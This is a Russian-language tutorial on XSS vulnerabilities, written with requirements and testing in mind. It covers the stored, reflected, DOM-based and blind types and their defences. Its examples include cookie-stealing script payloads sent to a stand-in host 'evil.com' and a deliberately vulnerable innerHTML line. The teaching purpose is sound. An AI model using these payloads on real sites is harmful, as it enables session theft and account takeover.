XSS-уязвимость
XSS (Cross‑Site Scripting) — атака, при которой злоумышленник внедряет в веб‑страницу вредоносный код (обычно на JavaScript). Код выполняется в браузере другого пользователя (жертвы).
Простыми словами: хакер находит место, куда можно «подложить» свой скрипт, а когда жертва открывает страницу — скрипт крадёт её данные, подменяет содержимое или выполняет действия от её имени.
На этапе проектирования требований можно создать условие для уязвимости (например, разрешить любые символы в поле коммента рия). Или предотвратить её (чётко указать, какие символы и разметка допустимы). XSS — проблема спецификации.
Отличие от других атак
- SQL‑инъекция — атака на базу данных (внедрение SQL‑команд).
- Command Injection — внедрение команд в ОС сервера.
- CSRF — заставляет браузер жертвы отправить нежеланный запрос на сайт, где она уже авторизована.
Отличаются от XSS тем, что не исполняют код в браузере жертвы. XSS всегда работает в контексте уязвимого сайта в браузере пользователя.
Как работает XSS
- Злоумышленник находит поле ввода (поиск, комментирование, имя профиля).
- Вводит туда вредоносную строку, например:
<script>alert('Ваши куки: ' + document.cookie)</script> - Приложение сохраняет или сразу выводит эту строку б ез обработки.
- Пользователь открывает страницу → его браузер видит эту строку как настоящий HTML код и выполняет её.
- Злоумышленник получает нужные данные (например, куки сессии) и может войти под учётной записью жертвы.
Ключевое условие: приложение показывает пользовательские данные так, как будто это безопасный код страницы, а не обычный текст.
Типы XSS
1. Хранимая (Stored XSS) — самая опасная
Скрипт сохраняется на сервере (в базе, в файле) и отображается всем, кто заходит на страницу.
Пример:
Форма отзывов. Хакер пишет отзыв:
Классный товар!
<script>new Image().src='https://evil.com/steal?c='+document.cookie</script>
Если не обработан текст, каждый посетитель страницы отзывов отправит свои куки на сервер зл оумышленника.
Защита:
- В требованиях к полю, которое будет отображаться у других пользователей, прописывать ограничения.
- Если HTML нужен — описывать белый список тегов (только
<b>,<i>,<a>с проверенными ссылками).
2. Отражённая (Reflected XSS)
Скрипт не сохраняется, а «отражается» в ответе сервера. Жертву нужно заставить перейти по специальной ссылке.
Пример:
Сайт показывает поисковый запрос: «Вы искали: [запрос]».
Хакер отправляет жертве ссылку:
https://site.com/search?q=<script>alert(1)</script>
Жертва кликает → скрипт выполняется.
Защита:
В требованиях запрещать отображать непроверенные параметры URL или заголовков прямо в HTML. Даже для сообщений об ошибке.
3. DOM‑based XSS (без участия сервера)
Скрипт появляется из‑за уязвимого JavaScript-кода на самой странице, который берёт данные из адресной строки (хеша, параметров) и вставляет их в HTML.
Пример (уязвимый код на странице):
document.getElementById('message').innerHTML = location.hash.substring(1)
Хакерская ссылка:
https://site.com/#<img src=x onerror=alert(1)>
Браузер не отправляет хеш на сервер, но на странице выполняется вредоносный код.
Защита:
В клиентских скриптах не использовать innerHTML с пользовательскими данными, использовать безопасные методы (textContent, setAttribute).
4. Слепая XSS (Blind XSS)
Скрипт хранится на сервере, но срабатывает там, где хакер не видит результат — в админ‑панели, в интерфейсе оператора.
Пример:
Форма обратной связи. Поле «Имя»: <script>fetch('https://evil.com?cookie='+document.cookie)</script>
Сам клиент видит своё имя без проблем (экранирование на публичной части есть).
Но оператор в админ‑панели смотрит все заявки — и там экранирования нет. Скрипт ворует сессию оператора.
Вывод: требования к экранированию должны быть одинаковыми для всех интерфейсов, включая внутренние.
Как предотвратить XSS?
Спецификация каждого поля ввода
В описании поля указать:
- Тип данных, макс. длина.
- Допустимые символы (белый список, а не чёрный).
- Разрешён ли HTML. Если да — какой именно набор тегов.
- Валидация на сервере (клиентскую легко обойти).
Пример для поля «Имя пользователя» (без HTML):
- Тип: строка
- Длина: 1–50
- Символы: буквы, пробел, дефис
- HTML: запрещён
- Ошибка: «Только буквы, пробелы и дефисы»
Пример для поля «Комментарий» (с форматированием):
- HTML: разрешён ограниченно
- Допустимые теги:
<b>,<i>,<a>,<ul>,<li> - Атрибуты:
href— толькоhttp://,https://,mailto:// - Перед сохранением — санация на сервере
Нефункциональные требования по XSS
- Все данные от пользователя, из URL, заголовков, внешних API при выводе на веб‑страницу проходят контекстное экранирование (для HTML, атрибутов, JavaScript — своё правило).
- API не возвращает в теле ответа непроверенный HTML/JavaScript без явного
Content-Type: text/plainили без экранирования. - Заголовок Content‑Security‑Policy запрещает инлайн‑скрипты и
eval()(политикаscript-src 'self'). - Сессионные cookie имеют флаг
HttpOnly(недоступны для JavaScript).
Если нужен именно HTML в поле
В случае, когда нужно форматирование (жирный, курсив, ссылки). В этом случае нельзя просто экранировать — уничтожится разметка.
Решение:
- Использовать санацию (например, библиотека DOMPurify), которая вырезает опасные теги и атрибуты, но оставляет безопасные.
- Санация обязательна на сервере — клиентскую легко обойти.
- В требованиях чётко перечислить разрешённые теги и атрибуты (например,
<a>только сhrefпо белому списку протоколов).
Материалы
- Что такое XSS-атака и как с ней бороться
- XSS: нападение и защита
- Что такое XSS-уязвимости и как защититься от них с помощью Content Security Policy
- Примеры атак XSS и способов их ослабления
- XSS-атака без секретов: от простого alert до захвата сессии
- Что такое XSS-уязвимость и как тестировщику не пропустить ее
- Что такое XSS-уязвимость
- Что такое XSS-уязвимость и как тестировщику не пропустить её
- Защита от XSS атак: проверенные методы и практики разработчиков
- XSS с самого начала
- Уроки по XSS: Урок 1. Основы XSS и поиск уязвимых к XSS сайтов
- XSS атакует! Краткий обзор XSS уязвимостей
- Эффективный поиск XSS-уязвимостей
- XSS: атака и защита с точки зрения C# программирования
- В поисках лазеек: гид по DOM Based XSS
- Хранимые, отображаемые и DOM-based XSS: выявление и блокирование
- Как багхантеру искать XSS-уязвимости через наложение парсеров: исследование Positive Technologies
- Обнаружение XSS-уязвимостей (межсайтовый скриптинг) с помощью Python
- Неочевидные угрозы: как защититься от атак на десериализацию, XSS и чтение произвольных файлов
- BRS-XSS: Новое поколение сканера уязвимостей XSS
- Охота за ошибками, Blind-XSS и лисьи хитрости
- Ладья на XSS: как я хакнул chess.com детским эксплойтом